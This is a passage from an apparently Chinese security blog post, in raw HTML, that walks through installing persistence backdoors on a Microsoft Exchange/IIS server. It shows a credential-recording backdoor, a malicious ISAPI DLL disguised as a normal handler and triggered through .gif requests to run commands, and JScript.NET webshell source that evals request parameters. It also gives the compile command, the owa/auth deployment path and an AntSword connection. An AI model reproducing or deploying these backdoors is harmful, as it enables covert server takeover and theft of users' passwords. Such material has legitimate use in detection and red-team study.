Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3115100316789863" title="null" data-type="png" data-w="947" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a118e0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOMria66vchPd6kGJ35lfJyIC9fda3UMlHogo473gPxdgicxh7qogTO3hw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在执行结果带中文的时候，脚本会报错，主要是因为python3的原因，可以将此处的utf-8改为gb2312</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.13535031847133758" title="null" data-type="png" data-w="628" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6dffdefd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOl1zeKG4saClVWXiciaoAmkPSCoBgsq1YghC88QD8xURKYO2ibwIV53jNQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">正常执行。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.47757255936675463" title="null" data-type="png" data-w="1137" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=eb3e2c16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DO3dGuleJY56OvTVgcnvibsHjJCmjDBvguNXLibGVicxZS4TWKySUsz1ZDA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">密码记录</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该后门还有一个记住密码的功能，主要是对POST请求发送的数据进行记录，记录在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">C:\\Windows\\Temp\\creds.db</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4178498985801217" title="null" data-type="png" data-w="493" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=49892bf9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DO6fWAuJOo4UE5UPAWV20aAv4wSzuUFO1snic3yzYF6Mw8icJD85xr30og%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">但是因为exchange的请求不是常规的基于表单的认证，basic或ntlm认证，所以这里curl发送一个post请求</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.06050420168067227" title="null" data-type="png" data-w="595" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c59e0041&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOfEtfSTUtHGsggKicSrgianFkicvTkEwmoIwNrSG8ibNNz0WLjLUAohbKww%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在exchange服务器上出现该新增文件。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6778711484593838" title="null" data-type="png" data-w="714" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=dae5912a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOVgdE5aBSGbBzR0EcJNBRtevV9q41Dv7UEUTqvW9q5picgIRpIxknTTQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">同时后门也能进行记录的获取。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.22727272727272727" title="null" data-type="png" data-w="418" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f447c406&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOHibaECmmOF2nHtHBXktLzWZ7MAKDxh4iaA0uJiaWVicAnfZEd8WzccYR0A%2F640%3Fwx_fmt%3Dpng"/></figure><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.96px;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">0x03 .net ISAPI 后门</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">项目地址：<a href="https://github.com/Ivan1ee/NetDLLSpy" target="_blank">https://github.com/Ivan1ee/NetDLLSpy</a></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">3.1 操作环境</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">操作环境：server 2016 + exchange 以exchange的owa模块来部署后门 部署路径</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">新建bin目录，将项目中已经编译好的dll放入。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.47229551451187335" title="null" data-type="png" data-w="758" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b8fa5135&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOickibLLN3PoPONjeRictdfwhbQOH8gMxvU2AJLG24s7iaWW4SQ7GkuG8Fg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在该路径下新建一个web.config文件，文件内容</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.09910802775024777" title="null" data-type="png" data-w="1009" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=eb9db6bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOaia0Ta0eqWeCcVfKp3V3MVmbLPKPdXiaL5LKypsmAZYGohPqApfTD6dA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在iis的映射管理来看，恶意的dll伪装成正常的功能</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4619666048237477" title="null" data-type="png" data-w="1078" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f4e5a888&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOnyeF727dTq0ghPvMofNfdwSfNfwBQdiaVFfPQjYNiaLnmGicmiarSE7XUg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">此时在auth下访问任意的gif文件（只要结尾是gif即可）</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.48696383515559294" title="null" data-type="png" data-w="1189" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ea3bc745&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOibMN0ibhibYVHbWSe1IemaGnvBsS5Ktv6WQ778bicYERicohusVrY5YZRtg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">尝试使用dll功能</span></p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><a href="https://192.168.91.20/owa/auth/1.gif?a=c&amp;p=cmd.txt&amp;c=ipconfig" target="_blank">https://192.168.91.20/owa/auth/1.gif?a=c&amp;p=cmd.txt&amp;c=ipconfig</a></code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">图片显示正常</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5912408759124088" title="null" data-type="png" data-w="959" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=eb4b1897&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOVcv3uTwNDqt9o9l3yTOejo9GurJOVz8RibQMydjCaYDl5TX6pibEIyxQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在服务器目录下生成了一个cmd.txt</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.49812734082397003" title="null" data-type="png" data-w="801" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e0bf4884&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOh7vRM2TkJtcosl5ib4gG6yy5jeICF58oJ07TbsLa77y4XCe7ib35AzKQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">内容为我们执行的ipconfig的命令结果</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.44878563885955647" title="null" data-type="png" data-w="947" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a9c93e99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOEmAj4xxPUXr3mM25wwxUKlp2fqTAIrxKfYxKec124cKBSzK8iaiatXJw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">3.2 完成antsword的连接</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">与上一步操作大同小异 自己编译一下c#代码</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">import System; <br/>import System.Web; <br/>import System.IO; <br/>package IsapiModu1e<br/>{ <br/>  public class Handler implements IHttpHandler<br/>  { <br/>    function IHttpHandler.ProcessRequest(context : HttpContext)<br/>    { <br/>      context.Response.Write(&#34;If i am DJ,Will u love me&#34;) <br/>var I = context; var Request = I.Request; var Response = I.Response; var Server = I.Server; eval(context.Request[1]); } function get IHttpHandler.IsReusable() : Boolean{ return true}}}</code></pre><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.25170648464163825" title="null" data-type="png" data-w="1172" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bf7c3fc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DO4nPbibf5cDx9NQ6Aqic5GEEvasIsBqP5cHQ6rj8LV1gWbJf6pVMqbA8A%2F640%3Fwx_fmt%3Dpng"/></figure><p><code style="white-space:pre-wrap;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"> C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe /t:library -out:C:\Users\Administrator\Desktop\IsapiModu1e.Handler.dll C:\Users\Administrator\Desktop\IsapiModu1e.Handler.js</code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"> 编译成dll文件，并放在owa的bin文件夹下。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.26620689655172414" title="null" data-type="png" data-w="725" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c8d93f8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOSanq1tV59hg6KRIbYEjGH343wUex49MqnVmwSe4u9f4SeGlmWjCIrA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">修改auth目录下的web.config文件</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.20558375634517767" title="null" data-type="png" data-w="1182" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9047bb00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOXxBticAny4KnnpTceEppBr3Cny2tKSjn369sXSibIP0o1CtIUpcAibg2w%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">访问</span><code style="white-space:pre-wrap;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"> <a href="https://192.168.91.20/owa/auth/xxxxx.gif" target="_blank">https://192.168.91.20/owa/auth/xxxxx.gif</a></code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"></span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2721631205673759" title="null" data-type="png" data-w="1128" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c383a123&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOhZlckp5zVhXVduj8txLjWG3FhyFGBSwXoibI6QNKtv5F08GfJd6YTYA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">蚁剑直接连接</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.625" title="null" data-type="png" data-w="1024" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d12db93f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DObgf3eiaCG089msL7xj4xP0QUUcHVLGZj15r51fEfqAUNmJdv4H0U8kQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.625" title="null" data-type="png" data-w="1024" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4c34b504&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DO6s3ZKo2XgOknWX91fClmibMvZHyzCEKAmqy5icmJiatYkB9QDz5p1D4AQ%2F640%3Fwx_fmt%3Dpng"/></figure><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.96px;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">0x04 .net module后门（适配哥斯拉）</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之前完成了IIS-RAID后门的实验，除了在iis的配置上做手脚，web应用本身也支持module的功能修饰请求。 <span style="line-height: 1.75;color: rgb(87, 107, 149);"><a href="https://github.com/WBGlIl/IIS_backdoor" target="_blank">https://github.com/WBGlIl/IIS_backdoor</a></span></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">xxx</h2><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 